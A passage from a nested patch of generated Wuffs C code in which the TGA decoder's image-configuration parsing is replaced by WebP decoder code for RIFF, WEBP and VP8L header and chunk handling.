-- *scratch |= ((uint64_t)(num_bits_3)) << 56; -+ num_bits_0 += 8u; -+ *scratch |= ((uint64_t)(num_bits_0)) << 56; - } - } -- self->private_impl.f_header_color_map_first_entry_index = t_3; -+ v_c32 = t_0; -+ } -+ if (v_c32 != 1179011410u) { -+ status = wuffs_base__make_status(wuffs_webp__error__bad_header); -+ goto exit; - } - { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(6); -- uint16_t t_4; -- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 2)) { -- t_4 = wuffs_base__peek_u16le__no_bounds_check(iop_a_src); -- iop_a_src += 2; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); -+ uint32_t t_1; -+ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { -+ t_1 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); -+ iop_a_src += 4; - } else { -- self->private_data.s_do_decode_image_config[0].scratch = 0; -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(7); -+ self->private_data.s_do_decode_image_config.scratch = 0; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); - while (true) { - if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { - status = wuffs_base__make_status(wuffs_base__suspension__short_read); - goto suspend; - } -- uint64_t* scratch = &self->private_data.s_do_decode_image_config[0].scratch; -- uint32_t num_bits_4 = ((uint32_t)(*scratch >> 56)); -+ uint64_t* scratch = &self->private_data.s_do_decode_image_config.scratch; -+ uint32_t num_bits_1 = ((uint32_t)(*scratch >> 56)); - *scratch <<= 8; - *scratch >>= 8; -- *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_4; -- if (num_bits_4 == 8) { -- t_4 = ((uint16_t)(*scratch)); -+ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_1; -+ if (num_bits_1 == 24) { -+ t_1 = ((uint32_t)(*scratch)); - break; - } -- num_bits_4 += 8u; -- *scratch |= ((uint64_t)(num_bits_4)) << 56; -+ num_bits_1 += 8u; -+ *scratch |= ((uint64_t)(num_bits_1)) << 56; - } - } -- self->private_impl.f_header_color_map_length = t_4; -+ self->private_impl.f_riff_chunk_length = t_1; - } -- { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(8); -- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- goto suspend; -- } -- uint8_t t_5 = *iop_a_src++; -- self->private_impl.f_header_color_map_entry_size = t_5; -+ if ((self->private_impl.f_riff_chunk_length & 1u) != 0u) { -+ status = wuffs_base__make_status(wuffs_webp__error__bad_header); -+ goto exit; - } -- if (self->private_impl.f_header_color_map_type != 0u) { -- if ((self->private_impl.f_header_color_map_first_entry_index != 0u) || (self->private_impl.f_header_color_map_length > 256u)) { -- status = wuffs_base__make_status(wuffs_tga__error__unsupported_tga_file); -- goto exit; -- } else if ((self->private_impl.f_header_color_map_entry_size != 15u) && -- (self->private_impl.f_header_color_map_entry_size != 16u) && -- (self->private_impl.f_header_color_map_entry_size != 24u) && -- (self->private_impl.f_header_color_map_entry_size != 32u)) { -- status = wuffs_base__make_status(wuffs_tga__error__bad_header); -- goto exit; -+ while (true) { -+ { -+ const bool o_0_closed_a_src = a_src->meta.closed; -+ const uint8_t* o_0_io2_a_src = io2_a_src; -+ wuffs_private_impl__io_reader__limit(&io2_a_src, iop_a_src, -+ ((uint64_t)(self->private_impl.f_riff_chunk_length))); -+ if (a_src) { -+ size_t n = ((size_t)(io2_a_src - a_src->data.ptr)); -+ a_src->meta.closed = a_src->meta.closed && (a_src->meta.wi <= n); -+ a_src->meta.wi = n; -+ } -+ v_r_mark = ((uint64_t)(iop_a_src - io0_a_src)); -+ { -+ if (a_src) { -+ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -+ } -+ wuffs_base__status t_2 = wuffs_webp__decoder__do_decode_image_config_limited(self, a_src); -+ v_status = t_2; -+ if (a_src) { -+ iop_a_src = a_src->data.ptr + a_src->meta.ri; -+ } -+ } -+ wuffs_private_impl__u32__sat_sub_indirect(&self->private_impl.f_riff_chunk_length, ((uint32_t)(wuffs_private_impl__io__count_since(v_r_mark, ((uint64_t)(iop_a_src - io0_a_src)))))); -+ io2_a_src = o_0_io2_a_src; -+ if (a_src) { -+ a_src->meta.closed = o_0_closed_a_src; -+ a_src->meta.wi = ((size_t)(io2_a_src - a_src->data.ptr)); -+ } - } -- } else { -- if ((self->private_impl.f_header_color_map_first_entry_index != 0u) || (self->private_impl.f_header_color_map_length != 0u) || (self->private_impl.f_header_color_map_entry_size != 0u)) { -- status = wuffs_base__make_status(wuffs_tga__error__bad_header); -+ if (wuffs_base__status__is_ok(&v_status)) { -+ break; -+ } else if ( ! wuffs_base__status__is_suspension(&v_status)) { -+ status = v_status; -+ if (wuffs_base__status__is_error(&status)) { -+ goto exit; -+ } else if (wuffs_base__status__is_suspension(&status)) { -+ status = wuffs_base__make_status(wuffs_base__error__cannot_return_a_suspension); -+ goto exit; -+ } -+ goto ok; -+ } else if ((v_status.repr == wuffs_base__suspension__short_read) && (self->private_impl.f_riff_chunk_length == 0u)) { -+ status = wuffs_base__make_status(wuffs_webp__error__short_chunk); - goto exit; - } -+ status = v_status; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(5); - } -- self->private_data.s_do_decode_image_config[0].scratch = 4u; -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(9); -- if (self->private_data.s_do_decode_image_config[0].scratch > ((uint64_t)(io2_a_src - iop_a_src))) { -- self->private_data.s_do_decode_image_config[0].scratch -= ((uint64_t)(io2_a_src - iop_a_src)); -- iop_a_src = io2_a_src; -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- goto suspend; -+ self->private_impl.f_frame_config_io_position = wuffs_base__u64__sat_add((a_src ? a_src->meta.pos : 0), ((uint64_t)(iop_a_src - io0_a_src))); -+ if (a_dst != NULL) { -+ wuffs_base__image_config__set( -+ a_dst, -+ self->private_impl.f_pixfmt, -+ 0u, -+ self->private_impl.f_width, -+ self->private_impl.f_height, -+ self->private_impl.f_frame_config_io_position, -+ false); - } -- iop_a_src += self->private_data.s_do_decode_image_config[0].scratch; -+ self->private_impl.f_call_sequence = 32u; -+ -+ ok: -+ self->private_impl.p_do_decode_image_config = 0; -+ goto exit; -+ } -+ -+ goto suspend; -+ suspend: -+ self->private_impl.p_do_decode_image_config = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -+ -+ goto exit; -+ exit: -+ if (a_src && a_src->data.ptr) { -+ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -+ } -+ -+ return status; -+} -+ -+// -------- func webp.decoder.do_decode_image_config_limited -+ -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__status -+wuffs_webp__decoder__do_decode_image_config_limited( -+ wuffs_webp__decoder* self, -+ wuffs_base__io_buffer* a_src) { -+ wuffs_base__status status = wuffs_base__make_status(NULL); -+ -+ uint32_t v_c32 = 0; -+ uint64_t v_r_mark = 0; -+ wuffs_base__status v_status = wuffs_base__make_status(NULL); -+ -+ const uint8_t* iop_a_src = NULL; -+ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ if (a_src && a_src->data.ptr) { -+ io0_a_src = a_src->data.ptr; -+ io1_a_src = io0_a_src + a_src->meta.ri; -+ iop_a_src = io1_a_src; -+ io2_a_src = io0_a_src + a_src->meta.wi; -+ } -+ -+ uint32_t coro_susp_point = self->private_impl.p_do_decode_image_config_limited; -+ switch (coro_susp_point) { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; -+ - { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(10); -- uint32_t t_6; -- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 2)) { -- t_6 = ((uint32_t)(wuffs_base__peek_u16le__no_bounds_check(iop_a_src))); -- iop_a_src += 2; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); -+ uint32_t t_0; -+ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { -+ t_0 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); -+ iop_a_src += 4; - } else { -- self->private_data.s_do_decode_image_config[0].scratch = 0; -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(11); -+ self->private_data.s_do_decode_image_config_limited.scratch = 0; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); - while (true) { - if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { - status = wuffs_base__make_status(wuffs_base__suspension__short_read); - goto suspend; - } -- uint64_t* scratch = &self->private_data.s_do_decode_image_config[0].scratch; -- uint32_t num_bits_6 = ((uint32_t)(*scratch >> 56)); -+ uint64_t* scratch = &self->private_data.s_do_decode_image_config_limited.scratch; -+ uint32_t num_bits_0 = ((uint32_t)(*scratch >> 56)); - *scratch <<= 8; - *scratch >>= 8; -- *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_6; -- if (num_bits_6 == 8) { -- t_6 = ((uint32_t)(*scratch)); -+ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_0; -+ if (num_bits_0 == 24) { -+ t_0 = ((uint32_t)(*scratch)); - break; - } -- num_bits_6 += 8u; -- *scratch |= ((uint64_t)(num_bits_6)) << 56; -+ num_bits_0 += 8u; -+ *scratch |= ((uint64_t)(num_bits_0)) << 56; - } - } -- self->private_impl.f_width = t_6; -+ v_c32 = t_0; -+ } -+ if (v_c32 != 1346520407u) { -+ status = wuffs_base__make_status(wuffs_webp__error__bad_header); -+ goto exit; - } - { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(12); -- uint32_t t_7; -- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 2)) { -- t_7 = ((uint32_t)(wuffs_base__peek_u16le__no_bounds_check(iop_a_src))); -- iop_a_src += 2; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); -+ uint32_t t_1; -+ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { -+ t_1 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); -+ iop_a_src += 4; - } else { -- self->private_data.s_do_decode_image_config[0].scratch = 0; -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(13); -+ self->private_data.s_do_decode_image_config_limited.scratch = 0; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); - while (true) { - if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { - status = wuffs_base__make_status(wuffs_base__suspension__short_read); - goto suspend; - } -- uint64_t* scratch = &self->private_data.s_do_decode_image_config[0].scratch; -- uint32_t num_bits_7 = ((uint32_t)(*scratch >> 56)); -+ uint64_t* scratch = &self->private_data.s_do_decode_image_config_limited.scratch; -+ uint32_t num_bits_1 = ((uint32_t)(*scratch >> 56)); - *scratch <<= 8; - *scratch >>= 8; -- *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_7; -- if (num_bits_7 == 8) { -- t_7 = ((uint32_t)(*scratch)); -+ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_1; -+ if (num_bits_1 == 24) { -+ t_1 = ((uint32_t)(*scratch)); - break; - } -- num_bits_7 += 8u; -- *scratch |= ((uint64_t)(num_bits_7)) << 56; -+ num_bits_1 += 8u; -+ *scratch |= ((uint64_t)(num_bits_1)) << 56; - } - } -- self->private_impl.f_height = t_7; -- } -- { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(14); -- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- goto suspend; -- } -- uint8_t t_8 = *iop_a_src++; -- self->private_impl.f_header_pixel_depth = t_8; -+ v_c32 = t_1; - } -- if ((self->private_impl.f_header_pixel_depth != 1u) && -- (self->private_impl.f_header_pixel_depth != 8u) && -- (self->private_impl.f_header_pixel_depth != 15u) && -- (self->private_impl.f_header_pixel_depth != 16u) && -- (self->private_impl.f_header_pixel_depth != 24u) && -- (self->private_impl.f_header_pixel_depth != 32u)) { -- status = wuffs_base__make_status(wuffs_tga__error__bad_header); -+ if (v_c32 == 540561494u) { -+ status = wuffs_base__make_status(wuffs_webp__error__unsupported_webp_file); - goto exit; -- } -- if ((self->private_impl.f_header_image_type | 8u) == 9u) { -- self->private_impl.f_scratch_bytes_per_pixel = 1u; -- self->private_impl.f_src_bytes_per_pixel = 1u; -- self->private_impl.f_src_pixfmt = 2164523016u; -- self->private_impl.f_opaque = ((self->private_impl.f_header_color_map_entry_size == 15u) || (self->private_impl.f_header_color_map_entry_size == 24u)); -- } else if ((self->private_impl.f_header_image_type | 8u) == 10u) { -- if ((self->private_impl.f_header_pixel_depth == 15u) || (self->private_impl.f_header_pixel_depth == 16u)) { -- self->private_impl.f_scratch_bytes_per_pixel = 4u; -- self->private_impl.f_src_bytes_per_pixel = 0u; -- self->private_impl.f_src_pixfmt = 2164295816u; -- } else if (self->private_impl.f_header_pixel_depth == 24u) { -- self->private_impl.f_scratch_bytes_per_pixel = 3u; -- self->private_impl.f_src_bytes_per_pixel = 3u; -- self->private_impl.f_src_pixfmt = 2147485832u; -- self->private_impl.f_opaque = true; -- } else if (self->private_impl.f_header_pixel_depth == 32u) { -- self->private_impl.f_scratch_bytes_per_pixel = 4u; -- self->private_impl.f_src_bytes_per_pixel = 4u; -- self->private_impl.f_src_pixfmt = 2164295816u; -- } else { -- status = wuffs_base__make_status(wuffs_tga__error__unsupported_tga_file); -- goto exit; -+ } else if (v_c32 == 1278758998u) { -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(5); -+ uint32_t t_2; -+ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { -+ t_2 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); -+ iop_a_src += 4; -+ } else { -+ self->private_data.s_do_decode_image_config_limited.scratch = 0; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(6); -+ while (true) { -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint64_t* scratch = &self->private_data.s_do_decode_image_config_limited.scratch; -+ uint32_t num_bits_2 = ((uint32_t)(*scratch >> 56)); -+ *scratch <<= 8; -+ *scratch >>= 8; -+ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_2; -+ if (num_bits_2 == 24) { -+ t_2 = ((uint32_t)(*scratch)); -+ break; -+ } -+ num_bits_2 += 8u; -+ *scratch |= ((uint64_t)(num_bits_2)) << 56; -+ } -+ } -+ self->private_impl.f_sub_chunk_length = t_2; - } -- } else { -- if (self->private_impl.f_header_pixel_depth == 8u) { -- self->private_impl.f_scratch_bytes_per_pixel = 1u; -- self->private_impl.f_src_bytes_per_pixel = 1u; -- self->private_impl.f_src_pixfmt = 536870920u; -- self->private_impl.f_opaque = true; -- } else { -- status = wuffs_base__make_status(wuffs_tga__error__unsupported_tga_file); -+ if (self->private_impl.f_sub_chunk_length < 4u) { -+ status = wuffs_base__make_status(wuffs_webp__error__bad_header); - goto exit; - } -- } -- { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(15); -- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- goto suspend; -- } -- uint8_t t_9 = *iop_a_src++; -- self->private_impl.f_header_image_descriptor = t_9; -- } -- if ((self->private_impl.f_header_image_descriptor & 16u) != 0u) { -- status = wuffs_base__make_status(wuffs_tga__error__unsupported_tga_file); -- goto exit; -- } -- self->private_data.s_do_decode_image_config[0].scratch = ((uint32_t)(self->private_impl.f_header_id_length)); -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(16); -- if (self->private_data.s_do_decode_image_config[0].scratch > ((uint64_t)(io2_a_src - iop_a_src))) { -- self->private_data.s_do_decode_image_config[0].scratch -= ((uint64_t)(io2_a_src - iop_a_src)); -- iop_a_src = io2_a_src; -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- goto suspend; -- } -- iop_a_src += self->private_data.s_do_decode_image_config[0].scratch; -- if (self->private_impl.f_header_color_map_type != 0u) { -- while (v_i < ((uint32_t)(self->private_impl.f_header_color_map_length))) { -- if (self->private_impl.f_header_color_map_entry_size == 24u) { -- { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(17); -- uint32_t t_10; -- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 3)) { -- t_10 = ((uint32_t)(wuffs_base__peek_u24le__no_bounds_check(iop_a_src))); -- iop_a_src += 3; -- } else { -- self->private_data.s_do_decode_image_config[0].scratch = 0; -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(18); -- while (true) { -- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- goto suspend; -- } -- uint64_t* scratch = &self->private_data.s_do_decode_image_config[0].scratch; -- uint32_t num_bits_10 = ((uint32_t)(*scratch >> 56)); -- *scratch <<= 8; -- *scratch >>= 8; -- *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_10; -- if (num_bits_10 == 16) { -- t_10 = ((uint32_t)(*scratch)); -- break; -- } -- num_bits_10 += 8u; -- *scratch |= ((uint64_t)(num_bits_10)) << 56; -- } -- } -- v_c = t_10; -+ self->private_impl.f_sub_chunk_has_padding = ((self->private_impl.f_sub_chunk_length & 1u) != 0u); -+ while (true) { -+ { -+ const bool o_0_closed_a_src = a_src->meta.closed; -+ const uint8_t* o_0_io2_a_src = io2_a_src; -+ wuffs_private_impl__io_reader__limit(&io2_a_src, iop_a_src, -+ ((uint64_t)(self->private_impl.f_sub_chunk_length))); -+ if (a_src) { -+ size_t n = ((size_t)(io2_a_src - a_src->data.ptr)); -+ a_src->meta.closed = a_src->meta.closed && (a_src->meta.wi <= n); -+ a_src->meta.wi = n; - } -- self->private_data.f_src_palette[(((v_i & 255u) * 4u) + 0u)] = ((uint8_t)((v_c >> 0u))); -- self->private_data.f_src_palette[(((v_i & 255u) * 4u) + 1u)] = ((uint8_t)((v_c >> 8u))); -- self->private_data.f_src_palette[(((v_i & 255u) * 4u) + 2u)] = ((uint8_t)((v_c >> 16u))); -- self->private_data.f_src_palette[(((v_i & 255u) * 4u) + 3u)] = 255u; -- } else if (self->private_impl.f_header_color_map_entry_size == 32u) { -+ v_r_mark = ((uint64_t)(iop_a_src - io0_a_src)); - { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(19); -- uint32_t t_11; -- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { -- t_11 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); -- iop_a_src += 4; -- } else { -- self->private_data.s_do_decode_image_config[0].scratch = 0; -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(20); -- while (true) { -- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- goto suspend; -- } -- uint64_t* scratch = &self->private_data.s_do_decode_image_config[0].scratch; -- uint32_t num_bits_11 = ((uint32_t)(*scratch >> 56)); -- *scratch <<= 8; -- *scratch >>= 8; -- *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_11; -- if (num_bits_11 == 24) { -- t_11 = ((uint32_t)(*scratch)); -- break; -- } -- num_bits_11 += 8u; -- *scratch |= ((uint64_t)(num_bits_11)) << 56; -- } -+ if (a_src) { -+ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); - } -- v_c = t_11; -- } -- self->private_data.f_src_palette[(((v_i & 255u) * 4u) + 0u)] = ((uint8_t)((v_c >> 0u))); -- self->private_data.f_src_palette[(((v_i & 255u) * 4u) + 1u)] = ((uint8_t)((v_c >> 8u))); -- self->private_data.f_src_palette[(((v_i & 255u) * 4u) + 2u)] = ((uint8_t)((v_c >> 16u))); -- self->private_data.f_src_palette[(((v_i & 255u) * 4u) + 3u)] = ((uint8_t)((v_c >> 24u))); -- } else { -- { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(21); -- uint32_t t_12; -- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 2)) { -- t_12 = ((uint32_t)(wuffs_base__peek_u16le__no_bounds_check(iop_a_src))); -- iop_a_src += 2; -- } else { -- self->private_data.s_do_decode_image_config[0].scratch = 0; -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(22); -- while (true) { -- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- goto suspend; -- } -- uint64_t* scratch = &self->private_data.s_do_decode_image_config[0].scratch; -- uint32_t num_bits_12 = ((uint32_t)(*scratch >> 56)); -- *scratch <<= 8; -- *scratch >>= 8; -- *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_12; -- if (num_bits_12 == 8) { -- t_12 = ((uint32_t)(*scratch)); -- break; -- } -- num_bits_12 += 8u; -- *scratch |= ((uint64_t)(num_bits_12)) << 56; -- } -+ wuffs_base__status t_3 = wuffs_webp__decoder__do_decode_image_config_limited_vp8l(self, a_src); -+ v_status = t_3; -+ if (a_src) { -+ iop_a_src = a_src->data.ptr + a_src->meta.ri; - } -- v_c = t_12; - } -- v_c5 = (31u & (v_c >> 0u)); -- self->private_data.f_src_palette[(((v_i & 255u) * 4u) + 0u)] = ((uint8_t)(((v_c5 << 3u) | (v_c5 >> 2u)))); -- v_c5 = (31u & (v_c >> 5u)); -- self->private_data.f_src_palette[(((v_i & 255u) * 4u) + 1u)] = ((uint8_t)(((v_c5 << 3u) | (v_c5 >> 2u)))); -- v_c5 = (31u & (v_c >> 10u)); -- self->private_data.f_src_palette[(((v_i & 255u) * 4u) + 2u)] = ((uint8_t)(((v_c5 << 3u) | (v_c5 >> 2u)))); -- self->private_data.f_src_palette[(((v_i & 255u) * 4u) + 3u)] = 255u; -+ wuffs_private_impl__u32__sat_sub_indirect(&self->private_impl.f_sub_chunk_length, ((uint32_t)(wuffs_private_impl__io__count_since(v_r_mark, ((uint64_t)(iop_a_src - io0_a_src)))))); -+ io2_a_src = o_0_io2_a_src; -+ if (a_src) { -+ a_src->meta.closed = o_0_closed_a_src; -+ a_src->meta.wi = ((size_t)(io2_a_src - a_src->data.ptr)); -+ } -+ } -+ if (wuffs_base__status__is_ok(&v_status)) { -+ break; -+ } else if ( ! wuffs_base__status__is_suspension(&v_status)) { -+ status = v_status; -+ if (wuffs_base__status__is_error(&status)) { -+ goto exit; -+ } else if (wuffs_base__status__is_suspension(&status)) { -+ status = wuffs_base__make_status(wuffs_base__error__cannot_return_a_suspension); -+ goto exit; -+ } -+ goto ok; -+ } else if ((v_status.repr == wuffs_base__suspension__short_read) && (self->private_impl.f_sub_chunk_length == 0u)) { -+ status = wuffs_base__make_status(wuffs_webp__error__short_chunk); -+ goto exit; - } -- v_i += 1u; -+ status = v_status; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(7); - } -- while (v_i < 256u) { -- self->private_data.f_src_palette[((v_i * 4u) + 0u)] = 0u; -- self->private_data.f_src_palette[((v_i * 4u) + 1u)] = 0u; -- self->private_data.f_src_palette[((v_i * 4u) + 2u)] = 0u; -- self->private_data.f_src_palette[((v_i * 4u) + 3u)] = 255u; -- v_i += 1u; -+ } else if (v_c32 == 1480085590u) { -+ status = wuffs_base__make_status(wuffs_webp__error__unsupported_webp_file); -+ goto exit; -+ } else { -+ status = wuffs_base__make_status(wuffs_webp__error__bad_header); -+ goto exit; -+ } -+ -+ ok: -+ self->private_impl.p_do_decode_image_config_limited = 0; -+ goto exit; -+ } -+ -+ goto suspend; -+ suspend: -+ self->private_impl.p_do_decode_image_config_limited = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -+ -+ goto exit; -+ exit: -+ if (a_src && a_src->data.ptr) { -+ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -+ } -+ -+ return status; -+} -+ -+// -------- func webp.decoder.do_decode_image_config_limited_vp8l -+ -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__status -+wuffs_webp__decoder__do_decode_image_config_limited_vp8l( -+ wuffs_webp__decoder* self, -+ wuffs_base__io_buffer* a_src) { -+ wuffs_base__status status = wuffs_base__make_status(NULL); -+ -+ uint32_t v_c32 = 0; -+ uint32_t v_transform_size = 0; -+ -+ const uint8_t* iop_a_src = NULL; -+ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ if (a_src && a_src->data.ptr) { -+ io0_a_src = a_src->data.ptr; -+ io1_a_src = io0_a_src + a_src->meta.ri; -+ iop_a_src = io1_a_src; -+ io2_a_src = io0_a_src + a_src->meta.wi; -+ } -+ -+ uint32_t coro_susp_point = self->private_impl.p_do_decode_image_config_limited_vp8l; -+ switch (coro_susp_point) { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; -+ -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; - } -+ uint32_t t_0 = *iop_a_src++; -+ v_c32 = t_0; - } -- self->private_impl.f_frame_config_io_position = wuffs_base__u64__sat_add((a_src ? a_src->meta.pos : 0), ((uint64_t)(iop_a_src - io0_a_src))); -- if (a_dst != NULL) { -- wuffs_base__image_config__set( -- a_dst, -- self->private_impl.f_src_pixfmt, -- 0u, -- self->private_impl.f_width, -- self->private_impl.f_height, -- self->private_impl.f_frame_config_io_position, -- self->private_impl.f_opaque); -+ if (v_c32 != 47u) { -+ status = wuffs_base__make_status(wuffs_webp__error__bad_header); -+ goto exit; - } -- self->private_impl.f_call_sequence = 32u; -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); -+ uint32_t t_1; -+ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { -+ t_1 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); -+ iop_a_src += 4; -+ } else { -+ self->private_data.s_do_decode_image_config_limited_vp8l.scratch = 0; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); -+ while (true) { -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint64_t* scratch = &self->private_data.s_do_decode_image_config_limited_vp8l.scratch; -+ uint32_t num_bits_1 = ((uint32_t)(*scratch >> 56)); -+ *scratch <<= 8; -+ *scratch >>= 8; -+ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_1; -+ if (num_bits_1 == 24) { -+ t_1 = ((uint32_t)(*scratch)); -+ break; -+ } -+ num_bits_1 += 8u; -+ *scratch |= ((uint64_t)(num_bits_1)) << 56; -+ } -+ } -+ v_c32 = t_1; -+ } -+ self->private_impl.f_width = ((v_c32 & 16383u) + 1u); -+ v_c32 >>= 14u; -+ self->private_impl.f_height = ((v_c32 & 16383u) + 1u); -+ v_c32 >>= 14u; -+ self->private_impl.f_pixfmt = 2415954056u; -+ if ((v_c32 & 1u) != 0u) { -+ self->private_impl.f_pixfmt = 2164295816u; -+ } -+ v_c32 >>= 1u; -+ if (v_c32 != 0u) { -+ status = wuffs_base__make_status(wuffs_webp__error__bad_header); -+ goto exit; -+ } -+ v_transform_size = (4u * ((self->private_impl.f_width + 3u) >> 2u) * ((self->private_impl.f_height + 3u) >> 2u)); -+ self->private_impl.f_workbuf_offset_for_transform[0u] = ((4u * self->private_impl.f_width * self->private_impl.f_height) + (0u * v_transform_size)); -+ self->private_impl.f_workbuf_offset_for_transform[1u] = ((4u * self->private_impl.f_width * self->private_impl.f_height) + (1u * v_transform_size)); -+ self->private_impl.f_workbuf_offset_for_transform[2u] = ((4u * self->private_impl.f_width * self->private_impl.f_height) + (2u * v_transform_size)); -+ self->private_impl.f_workbuf_offset_for_transform[3u] = ((4u * self->private_impl.f_width * self->private_impl.f_height) + (3u * v_transform_size)); - - goto ok; - ok: -- self->private_impl.p_do_decode_image_config[0] = 0; -+ self->private_impl.p_do_decode_image_config_limited_vp8l = 0; - goto exit; - } - - goto suspend; - suspend: -- self->private_impl.p_do_decode_image_config[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -- self->private_data.s_do_decode_image_config[0].v_i = v_i; -+ self->private_impl.p_do_decode_image_config_limited_vp8l = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; - - goto exit; - exit: -@@ -59702,12 +74199,12 @@ wuffs_tga__decoder__do_decode_image_config( - return status; - } - --// -------- func tga.decoder.decode_frame_config -+// -------- func webp.decoder.decode_frame_config - - WUFFS_BASE__GENERATED_C_CODE - WUFFS_BASE__MAYBE_STATIC wuffs_base__status --wuffs_tga__decoder__decode_frame_config( -- wuffs_tga__decoder* self, -+wuffs_webp__decoder__decode_frame_config( -+ wuffs_webp__decoder* self, - wuffs_base__frame_config* a_dst, - wuffs_base__io_buffer* a_src) { - if (!self) { -@@ -59733,17 +74230,17 @@ wuffs_tga__decoder__decode_frame_config( - - 